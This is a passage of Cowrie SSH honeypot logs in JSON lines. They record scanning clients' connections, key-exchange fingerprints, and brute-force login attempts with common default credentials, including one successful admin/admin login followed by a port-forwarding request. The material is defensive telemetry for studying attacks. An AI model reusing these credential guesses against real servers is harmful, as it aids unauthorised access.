ge-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:49.122886Z","src_ip":"103.4.145.50","session":"c982c8df958f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz","message":"login attempt [ubuntu/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:50.217514Z","src_ip":"103.4.145.50","session":"c982c8df958f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":44314,"dst_ip":"10.17.0.5","dst_port":22,"session":"59481229edbb","protocol":"ssh","message":"New connection: 107.150.103.210:44314 (10.17.0.5:22) [session: 59481229edbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:51.209451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:51.214247Z","src_ip":"107.150.103.210","session":"59481229edbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:51.284472Z","src_ip":"107.150.103.210","session":"59481229edbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:51.492039Z","src_ip":"103.4.145.50","session":"c982c8df958f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pppuser","password":"pppuser","message":"login attempt [pppuser/pppuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:51.595614Z","src_ip":"107.150.103.210","session":"59481229edbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:52.673753Z","src_ip":"107.150.103.210","session":"59481229edbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":38242,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a50ccf07145","protocol":"ssh","message":"New connection: 103.4.145.50:38242 (10.17.0.5:22) [session: 0a50ccf07145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:43:46.743566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:43:46.752031Z","src_ip":"103.4.145.50","session":"0a50ccf07145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:43:47.003154Z","src_ip":"103.4.145.50","session":"0a50ccf07145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser1234","message":"login attempt [ubuntu/hduser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:43:48.015949Z","src_ip":"103.4.145.50","session":"0a50ccf07145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:43:49.277596Z","src_ip":"103.4.145.50","session":"0a50ccf07145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":40128,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca9a4d5cb39","protocol":"ssh","message":"New connection: 96.70.252.227:40128 (159.203.135.109:22) [session: 4ca9a4d5cb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:01.955175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:01.981804Z","src_ip":"96.70.252.227","session":"4ca9a4d5cb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:02.009241Z","src_ip":"96.70.252.227","session":"4ca9a4d5cb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitserver","message":"login attempt [git/gitserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:02.177712Z","src_ip":"96.70.252.227","session":"4ca9a4d5cb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:03.222790Z","src_ip":"96.70.252.227","session":"4ca9a4d5cb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":51744,"dst_ip":"159.203.135.109","dst_port":22,"session":"868349afb332","protocol":"ssh","message":"New connection: 124.7.227.98:51744 (159.203.135.109:22) [session: 868349afb332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:03.710090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:03.715729Z","src_ip":"124.7.227.98","session":"868349afb332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:03.935393Z","src_ip":"124.7.227.98","session":"868349afb332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ps@123456","message":"login attempt [root/Ps@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:04.844881Z","src_ip":"124.7.227.98","session":"868349afb332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:06.069583Z","src_ip":"124.7.227.98","session":"868349afb332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.85","src_port":58910,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d740f3d35bf","protocol":"ssh","message":"New connection: 198.235.24.85:58910 (159.203.135.109:22) [session: 9d740f3d35bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:28.940681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:29.569350Z","src_ip":"198.235.24.85","session":"9d740f3d35bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19416,"dst_ip":"10.17.0.5","dst_port":22,"session":"1745411be54f","protocol":"ssh","message":"New connection: 87.251.64.176:19416 (10.17.0.5:22) [session: 1745411be54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:30.419256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:30.424553Z","src_ip":"87.251.64.176","session":"1745411be54f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:30.521631Z","src_ip":"87.251.64.176","session":"1745411be54f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:30.813424Z","src_ip":"87.251.64.176","session":"1745411be54f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:30.869971Z","src_ip":"198.235.24.85","session":"9d740f3d35bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:33.445194Z","session":"1745411be54f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:33.543389Z","src_ip":"87.251.64.176","session":"1745411be54f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:33.642575Z","src_ip":"87.251.64.176","session":"1745411be54f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:38.503283Z","src_ip":"198.235.24.85","session":"9d740f3d35bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":55240,"dst_ip":"10.17.0.5","dst_port":22,"session":"49e5f89809e7","protocol":"ssh","message":"New connection: 103.4.145.50:55240 (10.17.0.5:22) [session: 49e5f89809e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:45.469446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:45.472978Z","src_ip":"103.4.145.50","session":"49e5f89809e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:45.725259Z","src_ip":"103.4.145.50","session":"49e5f89809e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2023","message":"login attempt [root/server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:46.720381Z","src_ip":"103.4.145.50","session":"49e5f89809e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:47.973487Z","src_ip":"103.4.145.50","session":"49e5f89809e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":56094,"dst_ip":"159.203.135.109","dst_port":22,"session":"505153422686","protocol":"ssh","message":"New connection: 124.7.227.98:56094 (159.203.135.109:22) [session: 505153422686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:51.335051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:44:51.339503Z","src_ip":"124.7.227.98","session":"505153422686","protocol":"ssh"}
